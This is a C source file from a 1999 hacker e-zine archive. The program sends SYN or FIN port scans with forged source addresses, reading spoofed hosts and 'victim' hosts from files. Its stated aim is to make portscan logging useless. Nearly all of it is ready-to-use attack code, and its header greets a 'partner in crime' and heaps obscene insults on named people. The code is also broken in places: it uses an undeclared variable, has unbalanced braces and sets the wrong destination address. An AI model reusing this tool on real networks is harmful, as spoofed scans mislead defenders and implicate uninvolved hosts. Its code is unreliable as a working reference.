home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / b4b0 / b4b0-09 / fakescan.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  5.9 KB  |  219 lines

  1. /*  Fakescan.c (c) 1999 Vortexia / Andrew Alston andrew@idle.za.org
  2.  
  3. Ok... more crap code from me... thats yes... entirely useless other than
  4. as a proof of case.  I wrote this quickly while trying to prove the case
  5. that logging portscans that are syn/fin based is entirely useless.
  6.  
  7. What the code does: 
  8. It reads in a list of hosts to spoof from a spoof host, and sends fake
  9. fin or syn scans to a list of hosts found in the victims file.
  10. Sorry there is no dns resolve on hosts in those files, it was a quick job
  11. while I was bored and I found better things to do while coding it so
  12. I didnt get around to adding it.
  13.  
  14. The code is once again written for BSD and compiles with no warnings under
  15. fbsd 3.2 - I hate linux - Dont expect a linux port from me, someone else -
  16. feel free to make one
  17.  
  18. If you wanna use my code, as always, feel free but I expect credit
  19. where credit is due, I.E you use my code, you put my name in your code.
  20.  
  21. Greets and Shoutouts..
  22.  
  23. Mithrandi - Thanks for your help
  24. Ultima - For everything you've helped me with in the past
  25. Van - What can I say, HI
  26. TimeWiz - Thanks for help in times past, and for ideas for upcoming projects
  27. Sniper - My partner in crime - You have and always will rock
  28. Opium - HI
  29. Hotmetal - A general greet
  30. DrSmoke - HI
  31. jus - My social engineering partner - lets continue to mindfuck together
  32. OPCODE - Thanks for the help - you rock
  33. gr1p and all the people at b4b0 - Keep rocking guys
  34. To all the people at Forbidden knowledge - Good going - Keep it up
  35. To everyone else on all the networks and channels I hang on,
  36. a general greet and thanks - I couldnt keep doing what I do without you guys.
  37.  
  38. Fuckoffs, Curses and the likes:
  39.  
  40. To Sunflower - If you cant handle an insult in a piece of code - and think
  41.         thats worth of an akill - GROW UP AND GO FUCK YOURSELF
  42. To Gaspode - May you die a slow and painful death, and may the fleas of
  43.         10000 camels infest your armpits
  44. To the person who said coding stuff like this was for script kiddies - 
  45.         GET A CLUE you know who you are
  46. To anyone else I dont like - FUCK YOU
  47. To anyone else who doesnt like me - FUCK YOU
  48. */
  49.  
  50. #define __FAVOR_BSD
  51. #include <stdio.h>
  52. #include <string.h>
  53. #include <stdlib.h>
  54. #include <sys/types.h>
  55. #include <sys/socket.h>
  56. #include <sys/wait.h>
  57. #include <netinet/in.h>
  58. #include <arpa/inet.h>
  59. #include <netinet/in_systm.h>
  60. #include <netinet/ip.h>
  61. #include <netinet/tcp.h>
  62. #include <unistd.h>
  63. #include <time.h>
  64. #include <netdb.h>
  65.  
  66. struct viclist {
  67.     struct in_addr victim;
  68.     struct viclist *link;
  69. };
  70.  
  71. struct slist {
  72.     struct in_addr spoof;
  73.     struct slist *link;
  74. };
  75.  
  76. int main(int argc, char *argv[]) {
  77.  
  78. int i = 0;    
  79. int sock;
  80. int on = 1;
  81. struct sockaddr_in sockstruct;
  82. struct ip *iphead;
  83. struct tcphdr *tcphead;
  84. char evilpacket[sizeof(struct ip) + sizeof(struct tcphdr)]; 
  85. int seq, ack;
  86. FILE *victimfile;
  87. FILE *spooffile;
  88. char buffer[256];
  89. struct viclist *vcur, *vfirst;
  90. struct slist *scur, *sfirst;
  91.  
  92. bzero(evilpacket, sizeof(evilpacket));
  93.  
  94. vfirst = malloc(sizeof(struct viclist));
  95. vcur = vfirst;
  96. vcur->link = NULL;
  97.  
  98. sfirst = malloc(sizeof(struct slist));
  99. scur = sfirst;
  100. scur->link = NULL;
  101.  
  102. if(argc < 4) {
  103.   printf("Usage: %s scan_type ((S)yn/(F)in) spoof_file victim_file
  104. Example: %s S spooffile victimfile\n",argv[0], argv[0]);
  105.   exit(-1);
  106.   };
  107.  
  108. if((strncmp(argv[1], "S", 1)) && (strncmp(argv[1], "F", 1))) {
  109.   printf("Scan type not specified\n");
  110.   exit(-1);
  111.  
  112. if((spooffile = fopen((char *)argv[2], "r")) <= 0) {
  113.   perror("fopen");
  114.   exit(-1);
  115.   }
  116. else {
  117.   while(fgets(buffer, 255, spooffile)) {
  118.      if(!(inet_aton(buffer, &(scur->spoof))))  
  119.        printf("Invalid address found in victim file.. ignoring\n");
  120.      else {
  121.     scur->link = malloc(sizeof(struct slist));
  122.     scur = scur->link;
  123.     scur->link = NULL;
  124.     }
  125.      };
  126.     bzero(buffer, sizeof(buffer));
  127.   };
  128.  
  129. fclose(spooffile);
  130. scur = sfirst;
  131. while(scur->link != NULL) {
  132.     printf("Found spoof host: %s\n",inet_ntoa(scur->spoof));
  133.     scur = scur->link;
  134.     };
  135. scur = sfirst;
  136.  
  137. if((victimfile = fopen((char *)argv[3], "r")) <= 0) {
  138.   perror("fopen");
  139.   exit(-1);
  140.   }
  141. else {
  142.   while(fgets(buffer, 255, victimfile)) {
  143.      if(!(inet_aton(buffer, &(vcur->victim))))  
  144.        printf("Invalid address found in victim file.. ignoring\n");
  145.      else {
  146.     vcur->link = malloc(sizeof(struct viclist));
  147.     vcur = vcur->link;
  148.     vcur->link = NULL;
  149.     }
  150.      };
  151.     bzero(buffer, sizeof(buffer));
  152.   };
  153. fclose(victimfile);
  154. vcur = vfirst;
  155. while(vcur->link != NULL) {
  156.     printf("Found victim host: %s\n",inet_ntoa(vcur->victim));
  157.     vcur = vcur->link;
  158.     };
  159. vcur = vfirst;
  160.  
  161. if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  162.   perror("socket");
  163.   exit(-1);
  164.   }
  165.  
  166. if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
  167.   perror("setsockopt");
  168.   exit(-1);
  169.   }
  170.     
  171. sockstruct.sin_family = AF_INET;
  172. iphead = (struct ip *)evilpacket;    
  173. tcphead = (struct tcphdr *)(evilpacket + sizeof(struct ip));
  174.     
  175. iphead->ip_hl = 5;
  176. iphead->ip_v = 4;
  177. iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
  178. iphead->ip_id = htons(getpid());
  179. iphead->ip_ttl = 255;
  180. iphead->ip_p = IPPROTO_TCP;
  181. iphead->ip_sum = 0;        
  182. iphead->ip_tos = 0;
  183. iphead->ip_off = 0;
  184. tcphead->th_win = htons(512);
  185. if(!(strncmp(argv[1], "S", 1)))
  186.   tcphead->th_flags = TH_SYN; 
  187. else 
  188.   tcphead->th_flags = TH_FIN;
  189.     tcphead->th_off = 0x50;
  190.  
  191. while(vcur->link != NULL) {
  192.       iphead->ip_dst = vcur->victim;
  193.     sleep(1);
  194.       while(scur->link != NULL) {
  195.         tcphead->th_sport = htons(rand()%time(NULL));
  196.         sockstruct.sin_port = tcp->th_sport;
  197.         iphead->ip_src = scur->spoof;
  198.         sockstruct.sin_addr = scur->spoof;
  199.     sleep(1);
  200.           for(i = 1; i <= 1024; i++) {
  201.          srand(getpid());
  202.          seq = rand()%time(NULL);
  203.          ack = rand()%time(NULL);
  204.          tcphead->th_seq = htonl(seq);
  205.          tcphead->th_ack = htonl(ack);
  206.             tcphead->th_dport = htons(i);
  207.            sendto(sock,&evilpacket,sizeof(evilpacket),0x0,
  208.                (struct sockaddr *)&sockstruct, sizeof(sockstruct));
  209.          }
  210.         scur = scur->link;
  211.        } 
  212.       scur = sfirst;
  213.       vcur = vcur->link;
  214. return(1);
  215.  
  216. };
  217.